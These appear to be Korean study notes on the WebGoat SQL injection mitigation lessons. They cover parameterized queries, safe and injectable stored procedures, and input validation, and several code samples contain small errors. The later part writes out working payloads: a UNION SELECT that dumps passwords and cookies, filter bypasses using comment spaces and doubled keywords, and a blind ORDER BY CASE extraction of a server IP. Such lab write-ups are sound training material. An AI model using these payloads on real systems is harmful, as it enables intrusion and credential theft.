SQL Injection (mitigation)

SQL 방어책

단일 엔티티로 데이터를 처리하고 SQL 쿼리에 삽입

Parameterized Queries

String query = "SELECT * FROM users WHERE last_name = ?";
PreparedStatement statement = connection.prepareStatement(query);
statement.setString(1, accountName);
ResultSet results = statement.executeQuery();

SQL문을 미리 컴파일하여 실행할 쿼리문에 삽입해야 하는 "매개변수"만 제공하면 된다. 

---

Stored Procedures 저장된 프로시저

 

Safe Stored Procedure (Microsoft SQL Server)

CREATE PROCEDURE ListCustomers(@Country nvarchar(30))
AS
SELECT city, COUNT(*)
FROM customers
WHERE country LIKE @Country GROUP BY city


EXEC ListCustomers

Injectable Stored Procedure (Microsoft SQL Server)

CREATE PROEDURE getUser(@lastName nvarchar(25))
AS
declare @sql nvarchar(255)
set @sql = 'SELECT * FROM users WHERE
            lastname = + @LastName + '
exec sp_executesql @sql

Parameterized Queries - Java Snippet

public static bool isUsernameValid(string username) {
    RegEx r = new Regex("^[A-Za-z0-9]{16}$");
    return r.isMatch(username);
}

// java.sql.Connection conn is set elsewhere for brevity.
PreparedStatement ps = null;
RecordSet rs = null;
try {
    pUserName = request.getParameter("UserName");
    if ( isUsernameValid (pUsername) ) {
    // 필터링 후 query에 삽입
        ps = conn.prepareStatement("SELECT * FROM user_table
                                   WHERE username = ? ");
        ps.setString(1, pUsername);
        rs = ps.execute();
        if ( rs.next() ) {
            // do the work of making the user record active in some way
        }
    } else { // handle invalid input }
}
catch (...) { // handle all exceptions ... }

public static String loadAccount() {
  // Parser returns only valid string data
  String accountID = getParser().getStringParameter(ACCT_ID, "");
  String data = null;
  String query = "SELECT first_name, last_name, acct_id, balance FROM user_data WHERE acct_id = ?";
  try (Connection connection = null;
       PreparedStatement statement = connection.prepareStatement(query)) {
     statement.setString(1, accountID);
     ResultSet results = statement.executeQuery();
     if (results != null && results.first()) {
       results.last(); // Only one record should be returned for this query
       if (results.getRow() <= 2) {
         data = processAccount(results);
       } else {
         // Handle the error - Database integrity issue
       }
     } else {
       // Handle the error - no records found }
     }
  } catch (SQLException sqle) {
    // Log and handle the SQL Exception }
  }
  return data;
}

---

---

try {
    Connection conn = DriverManager.getConnection(DBURL, DBUSER, DBPW);
    // DB 연결
    PreparedStatement ps = conn.prepareStatement("SELECT status FROM users WHERE name=?");
    // 원하는 쿼리문
    ps.setString(1,"hi");
    // ? 하나 채우기
    ResultSet rs = ps.executeQuery();
    // 컴파일
    
    while (rs.next()) {
        System.out.println(rs.getString("status"));
        // 결과 출력
    }
    
} catch (Exception e) {
    System.out.println("Oops. Something went wrong!");
}

https://docs.microsoft.com/ko-kr/sql/connect/jdbc/using-an-sql-statement-with-parameters?view=sql-server-ver15 

매개 변수가 있는 SQL 문 사용 - JDBC Driver for SQL Server

---

Parameterized Queries - .NET

public static bool isUsernameValid(string username) {
	RegEx r = new Regex("^[A-Za-z0-9]{16}$");
	Return r.isMatch(username);
}

// SqlConnection conn is set and opened elsewhere for brevity.
try {
	string selectString = "SELECT * FROM user_table WHERE username = @userID";
	SqlCommand cmd = new SqlCommand( selectString, conn );
	if ( isUsernameValid( uid ) ) {
		cmd.Parameters.Add( "@userID", SqlDbType.VarChar, 16 ).Value = uid;
		SqlDataReader myReader = cmd.ExecuteReader();
		if ( myReader ) {
			// make the user record active in some way.
			myReader.Close();
		}
	} else { // handle invalid input }
}
catch (Exception e) { // Handle all exceptions... }

---

Dave' union select userid, user_name, password, cookie, null, null, null from user_system_data --

https://gupta-bless.medium.com/exploiting-sql-injection-with-no-space-query-4840362d1674

Exploiting: SQL injection with no space query

Dave'/**/union/**/select/**/userid,/**/user_name,/**/password,/**/cookie,/**/null,/**/null,/**/null/**/from/**/user_system_data/**/--

---

단어를 그냥 삭제하기 때문에 삭제되는걸 생각하고 작성

Dave'/**/union/**/selselectect/**/userid,/**/user_name,/**/password,/**/cookie,/**/null,/**/null,/**/null/**/frfromom/**/user_system_data/**/--

---

Order by

- 내림차순, 오름차순 정렬 (기본값 ASC : 오름차순 / DESC : 내림차순)

SELECT column_name, column_name
FROM table_name
ORDER BY column_name ASC|DESC, column_name ASC|DESC;

order by n => 에러 ==> n번째 컬럼이 없다. 

---

절대 표에 webgoat-prd를 표시할 순 없다. blind sql로 가야한다. 오류가 잇고 없고로 판단하라고 3가지 숫자 빼고 나머지를 알려준것이다.

sql 정보 노출

column이 id일때

column이 hostname일 때

(case when (true) then hostname else id end)

when 다음이 true라면 hostname이 columns로 들어가고 / false라면 id가 columns로 들어간다.

(CASE+WHEN+(SELECT+substring(ip,1,1)+FROM+servers+WHERE+hostname='webgoat-prd')+=+'2'
+THEN+hostname+ELSE+id+END)

(CASE WHEN (SELECT substring(ip,1,1) FROM servers WHERE hostname='webgoat-prd') = '2'
 THEN hostname ELSE id END)
 
 (SELECT substring(ip,1,1) FROM servers WHERE hostname='webgoat-prd') = '2'
 => hostname='webgoat-prd'의 ip값의 첫번째를 가져오고 이게 2가 맞는지
 
 (CASE WHEN (__) THEN hostname ELSE id END) 
 => 2가 맞다면 hostname대로 정렬 / 아니라면 id대로 정렬

104